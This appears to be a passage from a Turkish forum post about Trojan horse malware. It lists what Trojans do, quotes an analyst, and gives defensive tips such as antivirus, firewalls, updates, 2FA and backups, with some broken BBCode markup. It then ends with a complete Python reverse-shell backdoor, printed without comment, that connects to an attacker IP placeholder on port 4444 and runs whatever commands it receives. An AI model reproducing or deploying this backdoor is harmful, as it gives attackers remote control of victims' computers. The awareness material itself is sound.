• Hassas verileri çalma: Şifreler, bankacılık bilgileri, kişisel belgeler ve kimlik bilgileri.
• Sistemi uzaktan kontrol etme: Saldırganın bilgisayarı kendi amaçları için kullanmasına izin verme.
• Keylogging: Kullanıcının klavye üzerindeki tüm tuş vuruşlarını kaydetme ve saldırgana gönderme.
• Diğer kötü amaçlı yazılımları indirme ve kurma: Fidye yazılımları, casus yazılımlar veya daha fazla Truva atı.
• Bilgisayarı botnet ağına dahil etme: DDoS saldırıları veya spam gönderme için kullanma.
• Web kamerasını veya mikrofonu izinsiz etkinleştirme: Casusluk ve gözetleme.
• Dosyaları şifreleme ve fidye isteme: Fidye yazılımı türü Truva atları.
• Kullanıcının çevrimiçi faaliyetlerini izleme ve kişiselleştirilmiş reklamları gösterme (reklam yazılımları).

Siber Güvenlik Analisti Markus Scholl' Alıntı:

"Truva atları, modern siber saldırıların en sinsi araçlarından biridir çünkü kullanıcıyı psikolojik olarak aldatmaya dayanırlar. Birçok insan, bilgisayarlarının virüs bulaşmadığını düşünse de, Truva atları genellikle farkında bile olmadan arka planda faaliyet gösterirler. Bu nedenle, proaktif savunma ve sürekli farkındalık hayati önem taşır."

Genişletmek için tıkla ...

• Güvenilir ve Güncel Antivirüs Yazılımı:[/b Düzenli olarak sistem taramaları yapın ve antivirüs programınızın her zaman güncel olduğundan emin olun. Antivirüs yazılımları, bilinen Truva atlarını tespit edebilir ve engelleyebilir. Yeni tehditlere karşı koruma için otomatik güncelleştirmeleri açık tutun.
  [*] Güvenlik Duvarı (Firewall) Kullanımı:[/b Hem yazılımsal hem de donanımsal güvenlik duvarları, bilgisayarınıza yetkisiz erişimi engelleyerek ve şüpheli ağ bağlantılarını bloke ederek Truva atlarının dışarıyla iletişim kurmasını veya sisteme sızmasını zorlaştırır.
  [*] İşletim Sistemi ve Yazılım Güncellemeleri:[/b İşletim sisteminizi, web tarayıcılarınızı ve diğer yüklü uygulamalarınızı düzenli olarak güncelleyin. Yazılım geliştiricileri, tespit edilen güvenlik açıklarını yamalarla kapatırlar. Güncellemeleri geciktirmek, Truva atlarının bu açıklardan faydalanmasına olanak tanır.
  [*] Şüpheli E-postalara ve Bağlantılara Dikkat:[/b Bilinmeyen kaynaklardan gelen e-postaları veya beklenmedik ekleri açmaktan kaçının. Bir bağlantıya tıklamadan önce fare imlecini üzerine getirerek URL'yi kontrol edin. Şüpheli görünen e-postaları hemen silin ve asla kişisel bilgilerinizi vermeyin.
  [*] Güvenilir Kaynaklardan İndirme Yapın:[/b Yazılım veya dosya indirirken yalnızca resmi ve güvenilir web sitelerini kullanın. Torrent siteleri, "crack"li yazılım platformları veya ücretsiz yazılım siteleri gibi yerler, Truva atları için popüler dağıtım noktalarıdır.
  [*] Güçlü Şifreler ve İki Faktörlü Kimlik Doğrulama:[/b Tüm çevrimiçi hesaplarınız için benzersiz ve güçlü şifreler kullanın. Mümkün olan her yerde iki faktörlü kimlik doğrulamayı (2FA) etkinleştirerek, bir saldırgan şifrenizi ele geçirse bile hesabınıza erişmesini engelleyin.
  [*] Düzenli Veri Yedeklemesi:[/b Önemli dosyalarınızı harici bir sürücüye veya güvenli bir bulut hizmetine düzenli olarak yedekleyin. Bir Truva atı (özellikle fidye yazılımı) saldırısına uğramanız durumunda, verilerinizi geri yükleyebilmeniz hayati önem taşır.
  [*] Eğitim ve Farkındalık:[/b Siber güvenlik tehditleri hakkında bilgi sahibi olmak, kendinizi korumanın en etkili yoludur. Sosyal mühendislik saldırılarını, phishing tekniklerini ve genel siber hijyen kurallarını öğrenmek, Truva atı bulaşma riskini önemli ölçüde azaltır.
  

import socket
import subprocess
import os

HOST = 'saldırgan_ip_adresi'  # Saldırganın IP adresi
PORT = 4444               # Dinlenen port

def connect():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        return s
    except Exception as e:
        print(f"Bağlantı hatası: {e}")
        return None

def execute_command(s):
    while True:
        try:
            command = s.recv(1024).decode().strip()
            if command.lower() == 'exit':
                break
            elif command.lower().startswith('cd '):
                os.chdir(command[3:])
                s.send("Dizin değiştirildi.\n".encode())
            else:
                proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                stdout_value = proc.stdout.read() + proc.stderr.read()
                s.send(stdout_value)
        except Exception as e:
            s.send(f"Hata oluştu: {e}\n".encode())
            break

if __name__ == '__main__':
    client_socket = connect()
    if client_socket:
        execute_command(client_socket)
        client_socket.close()